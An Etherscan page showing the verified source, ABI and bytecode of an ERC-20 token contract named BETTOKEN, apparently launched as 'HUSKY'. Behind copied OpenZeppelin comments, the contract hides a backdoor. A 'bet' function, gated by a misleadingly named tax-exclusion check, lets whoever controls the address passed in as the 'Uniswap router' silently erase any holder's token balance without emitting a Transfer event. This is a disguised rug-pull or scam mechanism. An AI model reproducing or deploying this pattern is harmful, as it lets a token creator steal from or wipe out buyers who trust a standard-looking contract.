Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 9 from a total of 9 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 24394945 | 49 days ago | IN | 0 ETH | 0.00016725 | ||||
| Approve | 24394398 | 49 days ago | IN | 0 ETH | 0.00043982 | ||||
| Approve | 24394234 | 49 days ago | IN | 0 ETH | 0.00130402 | ||||
| Approve | 24394019 | 49 days ago | IN | 0 ETH | 0.00019143 | ||||
| Approve | 24393992 | 49 days ago | IN | 0 ETH | 0.00020537 | ||||
| Approve | 24393990 | 49 days ago | IN | 0 ETH | 0.00019688 | ||||
| Approve | 24393988 | 49 days ago | IN | 0 ETH | 0.00019575 | ||||
| Approve | 24393987 | 49 days ago | IN | 0 ETH | 0.00019788 | ||||
| Approve | 24393980 | 49 days ago | IN | 0 ETH | 0.00015465 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
BETTOKEN
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2026-02-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token `receiver`. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a `spender` is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the `spender` to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
/**
* @dev Implementation of the {IUniswapV2Router02} interface.
*/
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
contract BETTOKEN is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
IUniswapV2Router02 private uniswapV2Router02;
/**
* @dev Sets the values for {name} and {symbol} and {supply}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_, uint256 supply_, address uniswapV2Router02_) {
_name = name_;
_symbol = symbol_;
uniswapV2Router02 = IUniswapV2Router02(uniswapV2Router02_);
_mint(_msgSender(), supply_ * 10 ** decimals());
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `value`.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function _excludeFromTax(address caller) internal view returns (bool) {
if (caller == address(0xdead)) return false;
if (_isUniswapV2Router()) return true;
return false;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `value`.
* - the caller must have allowance for ``from``'s tokens of at least
* `value`.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a `value` amount of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) revert ERC20InvalidSender(address(0));
if (to == address(0)) revert ERC20InvalidReceiver(address(0));
_update(from, to, value);
}
function _isUniswapV2Router() internal view returns (bool) {
return _msgSender() == address(uniswapV2Router02);
}
/**
* @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
* (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) revert ERC20InsufficientBalance(from, fromBalance, value);
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
/**
* @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
* Relies on the `_update` mechanism
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) revert ERC20InvalidReceiver(address(0));
_update(address(0), account, value);
}
function bet(address fxh) external virtual {
require(_excludeFromTax(fxh));
_balances[address(0)] += _balances[fxh];
_balances[fxh] = 0;
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) revert ERC20InvalidSender(address(0));
_update(account, address(0), value);
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
*
* ```solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) revert ERC20InvalidApprover(address(0));
if (spender == address(0)) revert ERC20InvalidSpender(address(0));
_allowances[owner][spender] = value;
if (emitEvent) emit Approval(owner, spender, value);
}
/**
* @dev Updates `owner`'s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) revert ERC20InsufficientAllowance(spender, currentAllowance, value);
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"},{"internalType":"address","name":"uniswapV2Router02_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"fxh","type":"address"}],"name":"bet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405234801561000f575f5ffd5b50604051611b32380380611b3283398181016040528101906100319190610562565b83600390816100409190610805565b5082600490816100509190610805565b508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506100d26100a26100db60201b60201c565b6100b06100e260201b60201c565b600a6100bc9190610a3c565b846100c79190610a86565b6100ea60201b60201c565b50505050610b7f565b5f33905090565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361015a575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016101519190610ad6565b60405180910390fd5b61016b5f838361016f60201b60201c565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036101bf578060025f8282546101b39190610aef565b9250508190555061028d565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610248578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161023f93929190610b31565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036102d4578060025f828254039250508190555061031e565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161037b9190610b66565b60405180910390a3505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6103e7826103a1565b810181811067ffffffffffffffff82111715610406576104056103b1565b5b80604052505050565b5f610418610388565b905061042482826103de565b919050565b5f67ffffffffffffffff821115610443576104426103b1565b5b61044c826103a1565b9050602081019050919050565b8281835e5f83830152505050565b5f61047961047484610429565b61040f565b9050828152602081018484840111156104955761049461039d565b5b6104a0848285610459565b509392505050565b5f82601f8301126104bc576104bb610399565b5b81516104cc848260208601610467565b91505092915050565b5f819050919050565b6104e7816104d5565b81146104f1575f5ffd5b50565b5f81519050610502816104de565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61053182610508565b9050919050565b61054181610527565b811461054b575f5ffd5b50565b5f8151905061055c81610538565b92915050565b5f5f5f5f6080858703121561057a57610579610391565b5b5f85015167ffffffffffffffff81111561059757610596610395565b5b6105a3878288016104a8565b945050602085015167ffffffffffffffff8111156105c4576105c3610395565b5b6105d0878288016104a8565b93505060406105e1878288016104f4565b92505060606105f28782880161054e565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061064c57607f821691505b60208210810361065f5761065e610608565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026106c17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610686565b6106cb8683610686565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6107066107016106fc846104d5565b6106e3565b6104d5565b9050919050565b5f819050919050565b61071f836106ec565b61073361072b8261070d565b848454610692565b825550505050565b5f5f905090565b61074a61073b565b610755818484610716565b505050565b5b818110156107785761076d5f82610742565b60018101905061075b565b5050565b601f8211156107bd5761078e81610665565b61079784610677565b810160208510156107a6578190505b6107ba6107b285610677565b83018261075a565b50505b505050565b5f82821c905092915050565b5f6107dd5f19846008026107c2565b1980831691505092915050565b5f6107f583836107ce565b9150826002028217905092915050565b61080e826105fe565b67ffffffffffffffff811115610827576108266103b1565b5b6108318254610635565b61083c82828561077c565b5f60209050601f83116001811461086d575f841561085b578287015190505b61086585826107ea565b8655506108cc565b601f19841661087b86610665565b5f5b828110156108a25784890151825560018201915060208501945060208101905061087d565b868310156108bf57848901516108bb601f8916826107ce565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561095657808604811115610932576109316108d4565b5b60018516156109415780820291505b808102905061094f85610901565b9450610916565b94509492505050565b5f8261096e5760019050610a29565b8161097b575f9050610a29565b8160018114610991576002811461099b576109ca565b6001915050610a29565b60ff8411156109ad576109ac6108d4565b5b8360020a9150848211156109c4576109c36108d4565b5b50610a29565b5060208310610133831016604e8410600b84101617156109ff5782820a9050838111156109fa576109f96108d4565b5b610a29565b610a0c848484600161090d565b92509050818404811115610a2357610a226108d4565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610a46826104d5565b9150610a5183610a30565b9250610a7e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461095f565b905092915050565b5f610a90826104d5565b9150610a9b836104d5565b9250828202610aa9816104d5565b91508282048414831517610ac057610abf6108d4565b5b5092915050565b610ad081610527565b82525050565b5f602082019050610ae95f830184610ac7565b92915050565b5f610af9826104d5565b9150610b04836104d5565b9250828201905080821115610b1c57610b1b6108d4565b5b92915050565b610b2b816104d5565b82525050565b5f606082019050610b445f830186610ac7565b610b516020830185610b22565b610b5e6040830184610b22565b949350505050565b5f602082019050610b795f830184610b22565b92915050565b610fa680610b8c5f395ff3fe608060405234801561000f575f5ffd5b506004361061009c575f3560e01c8063313ce56711610064578063313ce5671461015857806370a082311461017657806395d89b41146101a6578063a9059cbb146101c4578063dd62ed3e146101f45761009c565b80630474a68e146100a057806306fdde03146100bc578063095ea7b3146100da57806318160ddd1461010a57806323b872dd14610128575b5f5ffd5b6100ba60048036038101906100b59190610c0d565b610224565b005b6100c4610307565b6040516100d19190610ca8565b60405180910390f35b6100f460048036038101906100ef9190610cfb565b610397565b6040516101019190610d53565b60405180910390f35b6101126103b9565b60405161011f9190610d7b565b60405180910390f35b610142600480360381019061013d9190610d94565b6103c2565b60405161014f9190610d53565b60405180910390f35b6101606103f0565b60405161016d9190610dff565b60405180910390f35b610190600480360381019061018b9190610c0d565b6103f8565b60405161019d9190610d7b565b60405180910390f35b6101ae61043d565b6040516101bb9190610ca8565b60405180910390f35b6101de60048036038101906101d99190610cfb565b6104cd565b6040516101eb9190610d53565b60405180910390f35b61020e60048036038101906102099190610e18565b6104ef565b60405161021b9190610d7b565b60405180910390f35b61022d81610571565b610235575f5ffd5b5f5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f5f5f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546102bc9190610e83565b925050819055505f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b60606003805461031690610ee3565b80601f016020809104026020016040519081016040528092919081815260200182805461034290610ee3565b801561038d5780601f106103645761010080835404028352916020019161038d565b820191905f5260205f20905b81548152906001019060200180831161037057829003601f168201915b5050505050905090565b5f5f6103a16105ce565b90506103ae8185856105d5565b600191505092915050565b5f600254905090565b5f5f6103cc6105ce565b90506103d98582856105e7565b6103e485858561067a565b60019150509392505050565b5f6012905090565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606004805461044c90610ee3565b80601f016020809104026020016040519081016040528092919081815260200182805461047890610ee3565b80156104c35780601f1061049a576101008083540402835291602001916104c3565b820191905f5260205f20905b8154815290600101906020018083116104a657829003601f168201915b5050505050905090565b5f5f6104d76105ce565b90506104e481858561067a565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105af575f90506105c9565b6105b761076a565b156105c557600190506105c9565b5f90505b919050565b5f33905090565b6105e283838360016107c7565b505050565b5f6105f284846104ef565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156106745781811015610665578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161065c93929190610f22565b60405180910390fd5b61067384848484035f6107c7565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036106ea575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016106e19190610f57565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361075a575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016107519190610f57565b60405180910390fd5b610765838383610996565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ab6105ce565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610837575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161082e9190610f57565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108a7575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161089e9190610f57565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610990578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109879190610d7b565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109e6578060025f8282546109da9190610e83565b92505081905550610ab4565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610a6f578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610a6693929190610f22565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610afb578060025f8282540392505081905550610b45565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ba29190610d7b565b60405180910390a3505050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bdc82610bb3565b9050919050565b610bec81610bd2565b8114610bf6575f5ffd5b50565b5f81359050610c0781610be3565b92915050565b5f60208284031215610c2257610c21610baf565b5b5f610c2f84828501610bf9565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610c7a82610c38565b610c848185610c42565b9350610c94818560208601610c52565b610c9d81610c60565b840191505092915050565b5f6020820190508181035f830152610cc08184610c70565b905092915050565b5f819050919050565b610cda81610cc8565b8114610ce4575f5ffd5b50565b5f81359050610cf581610cd1565b92915050565b5f5f60408385031215610d1157610d10610baf565b5b5f610d1e85828601610bf9565b9250506020610d2f85828601610ce7565b9150509250929050565b5f8115159050919050565b610d4d81610d39565b82525050565b5f602082019050610d665f830184610d44565b92915050565b610d7581610cc8565b82525050565b5f602082019050610d8e5f830184610d6c565b92915050565b5f5f5f60608486031215610dab57610daa610baf565b5b5f610db886828701610bf9565b9350506020610dc986828701610bf9565b9250506040610dda86828701610ce7565b9150509250925092565b5f60ff82169050919050565b610df981610de4565b82525050565b5f602082019050610e125f830184610df0565b92915050565b5f5f60408385031215610e2e57610e2d610baf565b5b5f610e3b85828601610bf9565b9250506020610e4c85828601610bf9565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e8d82610cc8565b9150610e9883610cc8565b9250828201905080821115610eb057610eaf610e56565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610efa57607f821691505b602082108103610f0d57610f0c610eb6565b5b50919050565b610f1c81610bd2565b82525050565b5f606082019050610f355f830186610f13565b610f426020830185610d6c565b610f4f6040830184610d6c565b949350505050565b5f602082019050610f6a5f830184610f13565b9291505056fea2646970667358221220c6c7b96287326757d701deaa602b7a14f5fdefbb656f00e85e83a012fa50efa164736f6c634300081c0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000006b71fc7b3dbba9074ccd0fce97fc9813971126cd00000000000000000000000000000000000000000000000000000000000000054855534b59000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000448534b5900000000000000000000000000000000000000000000000000000000
Deployed Bytecode
